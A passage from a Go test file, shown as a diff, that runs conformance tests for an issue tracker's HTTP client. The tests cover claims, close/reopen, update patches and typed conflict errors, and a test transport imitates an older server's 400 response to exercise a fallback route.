the refused shape, never by weakening the +// assertion: the case still runs and still passes on every backend that agrees, +// so their behavior stays pinned the day the divergence is found. Everything +// else runs for real. + +// skipKnownDivergence is declared untagged in divergence_test.go, and takes the +// ledger row alongside the bead: see its doc for why a park has two coordinates. + +// parkBead is the bead every WRITE-side park in this package cites: those +// refused shapes are one decision — the v0 write surface publishes no +// claimNext, no provenance, no plane restriction and no per-edge cycle-check +// flag — and splitting them across beads would suggest they retire +// independently. They do not: they retire when the wire grows the members, or +// not at all. +// +// The population SHRINKS as the wire grows, and twice now it has. The +// precondition members left it with client wave ga-jbuyf, which sent them; the +// two conditional-guard cases that were parked on `patch.assignee` left it with +// ga-7i6by, which carries the patch members. What is left is what the document +// still publishes nothing for. +// +// The read-side parks cite readParkBead instead (served_reader_test.go): they +// are a different decision with a different retirement, and one constant +// covering both would have said otherwise. +const parkBead = "ga-141ra" + +func newServedClaimerFixture(t *testing.T, prefix string) conformance.ClaimerFixture { + t.Helper() + env := newServedEnv(t, prefix) + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + return conformance.ClaimerFixture{ + IssuePrefix: env.prefix, + Claimer: claimer, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + // Read from the reference store, like every other hook here: raw rows + // and workspace config have no wire surface at all, and observing them + // through the client would be observing the thing under test. + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + } +} + +func TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow(t *testing.T) { + conformance.RunClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow(t, t.Context(), newServedClaimerFixture(t, "hcl1")) +} + +func TestServedClaimerTakesAnOpenIssueTheActorAlreadyHolds(t *testing.T) { + conformance.RunClaimerTakesAnOpenIssueTheActorAlreadyHolds(t, t.Context(), newServedClaimerFixture(t, "hcl2")) +} + +func TestServedClaimerReclaimsItsOwnInProgressIssueWithoutWriting(t *testing.T) { + conformance.RunClaimerReclaimsItsOwnInProgressIssueWithoutWriting(t, t.Context(), newServedClaimerFixture(t, "hcl3")) +} + +func TestServedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne(t *testing.T) { + conformance.RunClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne(t, t.Context(), newServedClaimerFixture(t, "hcl4")) +} + +func TestServedClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder(t *testing.T) { + conformance.RunClaimerTakesAPoolAssignedIssueButRefusesAForeignHolder(t, t.Context(), newServedClaimerFixture(t, "hcl5")) +} + +func TestServedClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt(t *testing.T) { + conformance.RunClaimerRefusesABuiltInIneligibleStatusWithTheStateThatRefusedIt(t, t.Context(), newServedClaimerFixture(t, "hcl6")) +} + +func TestServedClaimerRefusesAWispIDAsNotFound(t *testing.T) { + conformance.RunClaimerRefusesAWispIDAsNotFound(t, t.Context(), newServedClaimerFixture(t, "hcl7")) +} + +func TestServedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState(t *testing.T) { + conformance.RunClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState(t, t.Context(), newServedClaimerFixture(t, "hcl8")) +} + +// TestServedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone is the +// case with the most to say about this leg specifically, and it runs even though +// the lease vocabulary is on the unsupported allowlist — because the lease is +// not something the CLIENT writes. claimIssue's server-side transaction grants +// it, and the case reads the row back out of band, so what is asserted here is +// that a claim placed over HTTP leaves the same durable lease a local one does. +// A port that answered the row and skipped the grant would ship work no +// heartbeat can extend and no expiry sweep can take back. +func TestServedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone(t *testing.T) { + conformance.RunClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone(t, t.Context(), newServedClaimerFixture(t, "hcl9")) +} + +// TestServedClaimerReclaimsAcrossSpellingWithoutWriting drives the identity +// sanitization the server applies to the actor. The client sends the dotted +// spelling verbatim — it does not anticipate the rule, for the reason +// L-comment-author records about the author — so this pins that the ROLE behind +// the operation still recognizes the caller as the holder and writes nothing. +func TestServedClaimerReclaimsAcrossSpellingWithoutWriting(t *testing.T) { + conformance.RunClaimerReclaimsAcrossSpellingWithoutWriting(t, t.Context(), newServedClaimerFixture(t, "hcla")) +} + +func TestServedClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween(t *testing.T) { + conformance.RunClaimerStampsStartedAtOnceAcrossTheTwoWritesItChoosesBetween(t, t.Context(), newServedClaimerFixture(t, "hclb")) +} + +// TestServedClaimRefusalMessagesCarryTheirFragments is PARKED, and it is the one +// park here that is not about a missing wire member. +// +// The fragments exist so beads.ParseClaimConflict can recover the conflicting +// assignee and status from PROSE. Over the wire that data arrives as typed +// extension members and the reconstructed *ClaimConflictError is whole, so the +// only way to satisfy the message half would be to compose the refusal copy +// client-side — including WHICH copy each refusal shape gets, since an open +// issue held by someone else deliberately omits the assignee tail while an +// in-progress one carries it. That is a second implementation of the producer's +// copy-selection rule, which is the drift the fragments were introduced to +// prevent. +// +// The divergence itself is not left to a skip: +// TestServedClaimConflictCarriesTypedMembersWithoutTheProse below RUNS and +// asserts both halves of it, so ledger row L-claim-prose retires loudly the day +// the wire or the client changes either one. +func TestServedClaimRefusalMessagesCarryTheirFragments(t *testing.T) { + skipKnownDivergence(t, "L-claim-prose", parkBead, + "the claim refusal's prose fragments are the server's; over the wire the conflict arrives as typed members and the client does not recompose the copy (asserted by TestServedClaimConflictCarriesTypedMembersWithoutTheProse)") + conformance.RunClaimerRefusalMessagesCarryTheirFragments(t, t.Context(), newServedClaimerFixture(t, "hclf")) +} + +// TestServedClaimConflictCarriesTypedMembersWithoutTheProse is L-claim-prose's +// pin, and it is a RUNNING assertion of the degraded-but-real behavior rather +// than a skip. +// +// Both halves matter and neither is safe alone. The positive half is the reason +// the divergence is acceptable: the conflicting holder and status reach the +// caller TYPED, reconstructed from the problem body's extension members, so +// nothing a caller needs is actually lost. The negative half is the divergence +// itself: the message does not carry the fragments, so a caller reaching for +// beads.ParseClaimConflict gets nothing. If the client ever starts composing +// that copy, or the wire ever stops sending the members, this fails. +func TestServedClaimConflictCarriesTypedMembersWithoutTheProse(t *testing.T) { + env := newServedEnv(t, "hclp") + ctx := t.Context() + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const held = "hclp-held" + seedServedIssue(t, ctx, env, held, types.StatusOpen) + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: held}); err != nil { + t.Fatalf("first claim of %s: %v", held, err) + } + + _, err = claimer.Claim(ctx, issueops.ClaimRequest{Actor: "bob", IssueID: held}) + assertTypedClaimConflict(t, err, held, storage.ErrAlreadyClaimed, "alice", types.StatusInProgress) + assertNoProseFragment(t, err, storage.ErrAlreadyClaimed, storage.ClaimedByFragment) + + const closed = "hclp-closed" + seedServedIssue(t, ctx, env, closed, types.StatusClosed) + _, err = claimer.Claim(ctx, issueops.ClaimRequest{Actor: "carol", IssueID: closed}) + assertTypedClaimConflict(t, err, closed, storage.ErrNotClaimable, "", types.StatusClosed) + assertNoProseFragment(t, err, storage.ErrNotClaimable, storage.NotClaimableStatusFragment) +} + +func seedServedIssue(t *testing.T, ctx context.Context, env *servedEnv, id string, status types.Status) { + t.Helper() + issue := &types.Issue{ID: id, Title: id, Status: status, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } +} + +func assertTypedClaimConflict(t *testing.T, err error, id string, sentinel error, wantAssignee string, wantStatus types.Status) { + t.Helper() + if !errors.Is(err, sentinel) { + t.Fatalf("claim of %s = %v, want a refusal wrapping %v", id, err, sentinel) + } + var conflict *issueops.ClaimConflictError + if !errors.As(err, &conflict) { + t.Fatalf("claim of %s is not a *ClaimConflictError (%v); the typed members are the whole reason the prose can be missing", id, err) + } + if conflict.IssueID != id { + t.Errorf("conflict.IssueID = %q, want %q", conflict.IssueID, id) + } + if conflict.Assignee != wantAssignee { + t.Errorf("conflict.Assignee = %q, want %q — reconstructed from the problem body's assignee member", conflict.Assignee, wantAssignee) + } + if conflict.Status != wantStatus { + t.Errorf("conflict.Status = %q, want %q — reconstructed from the problem body's issue_status member", conflict.Status, wantStatus) + } +} + +func assertNoProseFragment(t *testing.T, err error, sentinel error, fragment string) { + t.Helper() + marker := sentinel.Error() + fragment + if strings.Contains(err.Error(), marker) { + t.Errorf("the refusal message carries %q (%q); L-claim-prose says it does not — if the client now composes the server's copy, retire the row rather than the assertion", + marker, err.Error()) + } +} + +func newServedCloseReopenFixture(t *testing.T, prefix string) conformance.LifecycleCloseReopenFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleCloseReopenFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + Exec: env.exec, + } +} + +func TestServedLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing(t *testing.T) { + conformance.RunLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing(t, t.Context(), newServedCloseReopenFixture(t, "hlcr")) +} + +func TestServedLifecycleCloseAdmitsATransitivelyBlockedTarget(t *testing.T) { + conformance.RunLifecycleCloseAdmitsATransitivelyBlockedTarget(t, t.Context(), newServedCloseReopenFixture(t, "hlct")) +} + +func TestServedLifecycleCloseCountsOpenChildrenInBothPlanes(t *testing.T) { + conformance.RunLifecycleCloseCountsOpenChildrenInBothPlanes(t, t.Context(), newServedCloseReopenFixture(t, "hlcc")) +} + +func TestServedLifecycleCloseAdmitsAStaleBlockFlagWhoseBlockersHaveClosed(t *testing.T) { + conformance.RunLifecycleCloseAdmitsAStaleBlockFlagWhoseBlockersHaveClosed(t, t.Context(), newServedCloseReopenFixture(t, "hlcs")) +} + +func TestServedLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked(t *testing.T) { + conformance.RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked(t, t.Context(), newServedCloseReopenFixture(t, "hlcb")) +} + +func TestServedLifecycleCloseIsIdempotentAndKeepsTheFirstClose(t *testing.T) { + conformance.RunLifecycleCloseIsIdempotentAndKeepsTheFirstClose(t, t.Context(), newServedCloseReopenFixture(t, "hlck")) +} + +// TestServedLifecycleCloseAndReopenKeepTheClaimHolder is the case the bead names +// by hand: an in-progress row a named actor holds must close, and the holder must +// survive both verbs. It is the claim→close loop an agent actually runs, and the +// one an assignee-clearing close would break silently. +func TestServedLifecycleCloseAndReopenKeepTheClaimHolder(t *testing.T) { + conformance.RunLifecycleCloseAndReopenKeepTheClaimHolder(t, t.Context(), newServedCloseReopenFixture(t, "hlch")) +} + +// The FOUR BLOCKED-STATE cases, which are the close/reopen family's other +// half: every one of them asserts the persisted `is_blocked` projection through +// the shared blocked-state probe, and no read on any role hydrates that column +// — so the flag is a raw-row fact and the probe reads the reference store +// directly. What they prove about THIS leg is that the settlement happens in +// the server's own closing transaction: the client sends one verb and nothing +// client-side recomputes anything, so a projection left stale by the port would +// be visible here and nowhere else on this surface. + +func TestServedLifecycleCloseSettlesTheClosedRowItselfAndItsChild(t *testing.T) { + conformance.RunLifecycleCloseSettlesTheClosedRowItselfAndItsChild(t, t.Context(), newServedCloseReopenFixture(t, "hlbs")) +} + +func TestServedLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t *testing.T) { + conformance.RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbt")) +} + +// TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate is the +// gate case: closing the last child of a spawner is what SATISFIES a waits-for +// edge, so the depender settles on a close that never named it. +func TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate(t *testing.T) { + conformance.RunLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate(t, t.Context(), newServedCloseReopenFixture(t, "hlbg")) +} + +func TestServedLifecycleReopenReblocksItsDependers(t *testing.T) { + conformance.RunLifecycleReopenReblocksItsDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbr")) +} + +func TestServedLifecycleReopenLeavesNonDoneStatusesUnchanged(t *testing.T) { + conformance.RunLifecycleReopenLeavesNonDoneStatusesUnchanged(t, t.Context(), newServedCloseReopenFixture(t, "hlrn")) +} + +func TestServedLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t *testing.T) { + conformance.RunLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t, t.Context(), newServedCloseReopenFixture(t, "hlcd")) +} + +// TestServedLifecycleExpectedVersionIsCheckedBeforeTheNoOps was PARKED and now +// RUNS: closeIssue and reopenIssue publish `expected_version` and this client +// sends it, so the ordering the case is really about — the precondition is +// checked BEFORE the idempotent close and before the non-done reopen no-op — is +// asserted end to end rather than described in a ledger row. +func TestServedLifecycleExpectedVersionIsCheckedBeforeTheNoOps(t *testing.T) { + conformance.RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps(t, t.Context(), newServedCloseReopenFixture(t, "hlev")) +} + +// TestServedLifecycleReopenRecordsItsReason runs: `reason` IS on the wire, and +// the case reads it off the reopened event the server records. +func TestServedLifecycleReopenRecordsItsReason(t *testing.T) { + conformance.RunLifecycleReopenRecordsItsReason(t, t.Context(), newServedCloseReopenFixture(t, "hlrr")) +} + +func TestServedLifecycleResultsAreHydratedPostStateSnapshots(t *testing.T) { + conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, t.Context(), newServedCloseReopenFixture(t, "hlrh")) +} + +// TestServedLifecycleResultsCarryThePostWriteRowVersion is the leg the whole slice +// is for: updateIssue, closeIssue and reopenIssue publish the post-write token as +// a sibling `revision` member (types.Issue.RowVersion is `json:"-"`), and this +// client stitches it back onto Issue.RowVersion. A port that dropped the member +// would answer a zero here and pass no other case on this surface, and the case's +// guarded update→close chain is gc's own — the token the update answers with is +// fed straight into the close's ExpectedVersion with no intervening Get. +func TestServedLifecycleResultsCarryThePostWriteRowVersion(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, t.Context(), newServedCloseReopenFixture(t, "hlrv")) +} + +func TestServedLifecycleCloseAndReopenRequireActorAndIssueID(t *testing.T) { + conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, t.Context(), newServedCloseReopenFixture(t, "hlra")) +} + +// TestServedLifecycleReopenProvenanceLabelsHistory is PARKED: reopenIssue +// publishes no provenance member and the server writes its own fixed label, so +// the client refuses the field rather than letting a caller believe their label +// reached the history entry. +func TestServedLifecycleReopenProvenanceLabelsHistory(t *testing.T) { + skipKnownDivergence(t, "W-ReopenRequest.Provenance", parkBead, + "reopenIssue publishes no provenance member; the client refuses it and the server writes its own label") + conformance.RunLifecycleReopenProvenanceLabelsHistory(t, t.Context(), newServedCloseReopenFixture(t, "hlrp")) +} + +func newServedUpdateFixture(t *testing.T, prefix string) conformance.LifecycleUpdateFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleUpdateFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + GetIssue: env.getIssue, + AddDependency: env.addDependency, + // The workspace vocabulary the transfer fence's one configured term + // (claim.pools) is read against. The case skipped without it while it + // was parked, and would have kept skipping silently once it was not. + SetConfig: env.setConfig, + // The two out-of-band reads the patch-member wave's cases need, both + // bound to the reference store like every other seed hook here: + // ListEvents ends the "the refusal wrote nothing" clause a row read + // cannot, and ListDependencies answers the parent SET a reparent + // replaces. + ListEvents: env.listEvents, + ListDependencies: env.listDependencies, + } +} + +func TestServedLifecycleUpdatePersistsThePatchAndHydratesTheResult(t *testing.T) { + conformance.RunLifecycleUpdatePersistsThePatchAndHydratesTheResult(t, t.Context(), newServedUpdateFixture(t, "hlup")) +} + +func TestServedLifecycleUpdateReportsNoChangeForASameValuePatch(t *testing.T) { + conformance.RunLifecycleUpdateReportsNoChangeForASameValuePatch(t, t.Context(), newServedUpdateFixture(t, "hlus")) +} + +func TestServedLifecycleUpdateAppendsNotesWithoutReplacingThem(t *testing.T) { + conformance.RunLifecycleUpdateAppendsNotesWithoutReplacingThem(t, t.Context(), newServedUpdateFixture(t, "hlun")) +} + +// TestServedLifecycleUpdateClearsTheNullableMembers is the case that proves the +// patch document carries an explicit null rather than omitting the member. +func TestServedLifecycleUpdateClearsTheNullableMembers(t *testing.T) { + conformance.RunLifecycleUpdateClearsTheNullableMembers(t, t.Context(), newServedUpdateFixture(t, "hluc")) +} + +func TestServedLifecycleUpdateReplacesTheLabelSet(t *testing.T) { + conformance.RunLifecycleUpdateReplacesTheLabelSet(t, t.Context(), newServedUpdateFixture(t, "hlul")) +} + +// TestServedLifecycleUpdateResolvesBothPlanesUnlessRestricted is PARKED: half +// the case sets IssuePlaneOnly, which updateIssue publishes no member for. The +// client refuses it because dropping it would EDIT the wisp the caller asked to +// be told did not exist. +func TestServedLifecycleUpdateResolvesBothPlanesUnlessRestricted(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.IssuePlaneOnly", parkBead, + "updateIssue publishes no plane restriction; the client refuses IssuePlaneOnly rather than silently editing the wisp plane") + conformance.RunLifecycleUpdateResolvesBothPlanesUnlessRestricted(t, t.Context(), newServedUpdateFixture(t, "hlrb")) +} + +// TestServedLifecycleUpdatePreservesTheCreationStamp runs: nothing about it +// touches a refused member. It is worth having over this wire rather than only +// locally because the stamp is the one pair of columns createIssue deliberately +// will not let a caller write (W-CreateRequest.Issue), so a server that rewrote +// it on an ORDINARY EDIT would put the row out of step with the journal entry +// that recorded its creation, with no request member anywhere to blame. +func TestServedLifecycleUpdatePreservesTheCreationStamp(t *testing.T) { + conformance.RunLifecycleUpdatePreservesTheCreationStamp(t, t.Context(), newServedUpdateFixture(t, "hlcs")) +} + +// The THREE claim-and-override cases below RUN, and left the park population +// together, with the #7247 review port: `claim`, `force_assignee_transfer` and +// `force_close_policy` are top-level members of updateIssue's body (the first +// since upstream #6890), and the client sends each exactly as it sent +// `force_notes_overwrite` before them. Their rows (W-UpdateRequest.Claim, +// .ForceAssigneeTransfer, .ForceClosePolicy) are RETIRED. +// +// What still parks after them is TWO members updateIssue publishes nothing for +// (W-IssuePatch.Persistence, W-UpdateRequest.Provenance), each named so the +// lock counts the contract rather than reading it as unwritten. Both refusals +// are themselves asserted by TestUpdateRefusesEveryMemberTheWireExcludes, which +// RUNS, so no park here stands in for an unpinned behavior. + +// TestServedLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow is the +// claim folded into an update: a mutation even when the patch beside it restores +// the row. That fold is the server's own since #6890 — claimed and patched in +// one transaction by the role the direct route runs — so the case is one +// updateIssue call here, as it is one Lifecycle.Update call locally. +func TestServedLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow(t *testing.T) { + conformance.RunLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow(t, t.Context(), newServedUpdateFixture(t, "hlcm")) +} + +// predatesUpdateClaimTransport plays a bd serve from before upstream #6890, as +// far as updateIssue's `claim` member goes. Every request reaches the +// in-process server untouched EXCEPT an updateIssue body carrying `claim`, +// which it answers the way such a server did: the skew 400 naming the member, +// raised before any database work. Everything else about that server — +// claimIssue among it — is the current one's, which is the point: the +// fallback route it forces is claimIssue, served for real. +type predatesUpdateClaimTransport struct { + next http.RoundTripper + // refused counts the claims it answered, so a case can tell the fallback + // ran from a current-server claim that happened to agree with it. + refused atomic.Int32 +} + +func (p *predatesUpdateClaimTransport) RoundTrip(req *http.Request) (*http.Response, error) { + if req.Method == http.MethodPatch && req.GetBody != nil { + body, err := req.GetBody() + if err != nil { + return nil, err + } + var members map[string]json.RawMessage + decodeErr := json.NewDecoder(body).Decode(&members) + _ = body.Close() + if _, claims := members["claim"]; decodeErr == nil && claims { + p.refused.Add(1) + if req.Body != nil { + _ = req.Body.Close() + } + return &http.Response{ + Status: "400 Bad Request", + StatusCode: http.StatusBadRequest, + Proto: "HTTP/1.1", + ProtoMajor: 1, + ProtoMinor: 1, + Header: http.Header{"Content-Type": {"application/problem+json"}}, + Body: io.NopCloser(strings.NewReader(`{"type":"about:blank","title":"Bad Request","status":400,` + + `"code":"invalid_argument","reason":"unknown_parameter","param":"claim",` + + `"detail":"unknown request body member \"claim\"","request_id":"predates-6890"}`)), + ContentLength: -1, + Request: req, + }, nil + } + } + return p.next.RoundTrip(req) +} + +// predatingUpdateClaim is a second client store over env's server, dialing it +// through predatesUpdateClaimTransport. +func (env *servedEnv) predatingUpdateClaim(t *testing.T) (*Store, *predatesUpdateClaimTransport) { + t.Helper() + transport := &predatesUpdateClaimTransport{next: http.DefaultTransport} + client, err := wire.New(env.subject.target.BaseURL, nil, wire.Options{HTTPClient: &http.Client{Transport: transport}}) + if err != nil { + t.Fatalf("build the predating client: %v", err) + } + return New(env.subject.target, client, nil), transport +} + +// TestServedUpdateClaimsAWisp pins the direct route's wisp claim over this +// wire: `bd update --claim` on a wisp claims it, because updateIssue's +// claim resolves both planes like the rest of the operation (it sets no +// IssuePlaneOnly), exactly as the local Lifecycle.Update does. +// +// It used to refuse by name on every server (W-ClaimRequest.Wisp), when the +// claim went through claimIssue, whose role excludes the wisp plane. That +// refusal survives only on the fallback route — see the case below. +func TestServedUpdateClaimsAWisp(t *testing.T) { + env := newServedEnv(t, "hlcx") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlcx-wisp" + if err := env.createWisp(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed the wisp %s: %v", id, err) + } + + result, err := lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if err != nil { + t.Fatalf("claim-only update on a wisp: %v", err) + } + if !result.Changed || result.Issue == nil || + result.Issue.Status != types.StatusInProgress || result.Issue.Assignee != "claimant" { + t.Fatalf("claim-only update on a wisp answered %+v, want the claimed row", result) + } + // The reference store's GetIssue auto-routes to the wisps table when the + // durable one has no such row (issueops.GetIssueInTx), so this reads the + // wisp back the same way env.getIssue would for a durable row. + row, err := env.reference.GetIssue(ctx, id) + if err != nil { + t.Fatalf("read the wisp back: %v", err) + } + if row.Status != types.StatusInProgress || row.Assignee != "claimant" { + t.Errorf("the claim left %s as %s/%q, want %s/%q", id, row.Status, row.Assignee, types.StatusInProgress, "claimant") + } + if !isWispIssue(row) { + t.Errorf("the claim moved %s off the wisp plane", id) + } +} + +// TestClaimOnlyUpdateRefusesAWispByNameOnAServerThatPredatesUpdateClaim is +// W-ClaimRequest.Wisp's pin. +// +// Against a server that predates `claim` on updateIssue, a claim-only +// UpdateRequest falls back to claimIssue (httpLifecycle.claimOnlyUpdate), and +// claimIssue's role excludes the wisp plane on every backend (see +// TestServedClaimerRefusesAWispIDAsNotFound next door). Left alone, a wisp id +// would surface as the wire's generic not-found — "no issue or wisp with that +// id" — a live row reported as though it does not exist. This case pins that +// the fallback instead recognizes the id names a wisp and refuses BY NAME, +// leaving the wisp row untouched. +func TestClaimOnlyUpdateRefusesAWispByNameOnAServerThatPredatesUpdateClaim(t *testing.T) { + env := newServedEnv(t, "hlcw") + ctx := t.Context() + predating, transport := env.predatingUpdateClaim(t) + lifecycle, err := predating.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlcw-wisp" + if err := env.createWisp(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed the wisp %s: %v", id, err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("claim-only update on a wisp id returned %v, want a named refusal", err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != "W-ClaimRequest.Wisp" { + t.Errorf("the refusal cites %q, want W-ClaimRequest.Wisp", refusal.Row.ID) + } + if got := transport.refused.Load(); got != 1 { + t.Errorf("the predating server refused %d claims, want 1: the case must reach the fallback through the skew refusal", got) + } + + // The refusal left the wisp exactly as seeded: still open, still + // unassigned. A wisp claim that fell through to the misleading not-found + // would still leave the row untouched, so this is not the case's whole + // subject — but a refusal-by-name that quietly claimed anyway would be a + // worse bug than the one it replaces. + row, err := env.reference.GetIssue(ctx, id) + if err != nil { + t.Fatalf("read the wisp back: %v", err) + } + if row.Status != types.StatusOpen || row.Assignee != "" { + t.Errorf("the refused claim left %s as %s/%q, want open/unassigned", id, row.Status, row.Assignee) + } +} + +// TestClaimOnlyUpdateHydratesLabelsAndCreatedByForOutputParity pins +// `bd update --claim --json` printing the same "labels" and "created_by" +// over an http workspace as the direct route does, on BOTH routes a claim-only +// update can take. +// +// On a current server the claim is updateIssue's, which answers the hydrated +// row and the post-write `revision` like every other update, so parity is the +// operation's own. On a server that predates the member, the claim falls back +// to claimIssue, whose role answers the BARE row — issueops.Claimer's own +// contract on every backend, pinned against httpClaimer.Claim directly by +// TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow — so the +// fallback (claimOnlyUpdate, lifecycle.go) reads the labels and CreatedBy back +// itself. What it does NOT read back is the row version: claimIssue carries no +// `revision`, and the follow-up read's token is another snapshot's. +func TestClaimOnlyUpdateHydratesLabelsAndCreatedByForOutputParity(t *testing.T) { + env := newServedEnv(t, "hlch") + ctx := t.Context() + predating, transport := env.predatingUpdateClaim(t) + + for _, route := range []struct { + name string + store *Store + // wantRevision says whether the claimed row carries the post-claim + // row version, which only updateIssue answers with. + wantRevision bool + wantRefused int32 + }{ + {name: "current server", store: env.subject, wantRevision: true, wantRefused: 0}, + {name: "server predating update claim", store: predating, wantRevision: false, wantRefused: 1}, + } { + t.Run(route.name, func(t *testing.T) { + lifecycle, err := route.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + id := "hlch-" + strings.ReplaceAll(route.name, " ", "-") + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: []string{"hlch-label"}, + CreatedBy: "the-original-author", + }, "the-original-author"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + before := transport.refused.Load() + + result, err := lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if err != nil { + t.Fatalf("claim-only update on a labeled issue: %v", err) + } + if got := transport.refused.Load() - before; got != route.wantRefused { + t.Fatalf("the predating server refused %d claims, want %d: the route under test is not the one that ran", got, route.wantRefused) + } + if result.Issue == nil { + t.Fatal("claim-only update returned a nil Issue") + } + if !slices.Contains(result.Issue.Labels, "hlch-label") { + t.Errorf("claimed Issue.Labels = %v, want [%q] — the direct route's `bd update --claim` always hydrates labels, and this is what makes the http route's --json output match it", result.Issue.Labels, "hlch-label") + } + if result.Issue.CreatedBy != "the-original-author" { + t.Errorf("claimed Issue.CreatedBy = %q, want %q", result.Issue.CreatedBy, "the-original-author") + } + // The claim itself still won: hydration is an enrichment, not a + // substitute for the actual mutation. + if result.Issue.Status != types.StatusInProgress || result.Issue.Assignee != "claimant" { + t.Errorf("claimed issue = %s/%q, want %s/%q", result.Issue.Status, result.Issue.Assignee, types.StatusInProgress, "claimant") + } + + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + switch { + case route.wantRevision && (row.RowVersion == 0 || result.Issue.RowVersion != row.RowVersion): + t.Errorf("claimed Issue.RowVersion = %d, want the post-claim row's %d — a guarded write composes its next ExpectedVersion from it", result.Issue.RowVersion, row.RowVersion) + case !route.wantRevision && result.Issue.RowVersion != 0: + t.Errorf("the fallback's Issue.RowVersion = %d, want it unset: claimIssue answers no revision, and no other snapshot's token may stand in for one", result.Issue.RowVersion) + } + }) + } +} + +// TestServedLifecycleUpdateAssigneeTransferFence runs the fence AND its +// override: a transfer away from a live foreign in-progress holder refuses with +// already_claimed, the ExpectedAssignee bypass is sent, and so — since the +// #7247 review port — is `force_assignee_transfer`, the unconditional override +// the case ends on. TestServedUpdateGuardTrioGatesTheEdit is where the guard +// half runs on its own. +func TestServedLifecycleUpdateAssigneeTransferFence(t *testing.T) { + conformance.RunLifecycleUpdateAssigneeTransferFence(t, t.Context(), newServedUpdateFixture(t, "hlxf")) +} + +// TestServedLifecycleUpdateClosePolicy runs both halves of the policy: a status +// crossing into the done category with an open child or a live blocker refuses, +// typed, and writes nothing; and `force_close_policy`, which the case's second +// half forces the crossing with, is sent since the #7247 review port, beside +// the claim its compound arm drives. +func TestServedLifecycleUpdateClosePolicy(t *testing.T) { + conformance.RunLifecycleUpdateClosePolicy(t, t.Context(), newServedUpdateFixture(t, "hlcp")) +} + +// TestServedLifecycleUpdatePersistentPreservesUnversionedClass parks on +// IssuePatch.Persistence, which neither IssuePatchBody nor ApplyPatchBody +// publishes: moving a row between planes mid-plan is a different act from +// writing its fields, and a dropped persistence mode would answer "no change" +// to a request that asked for one. +func 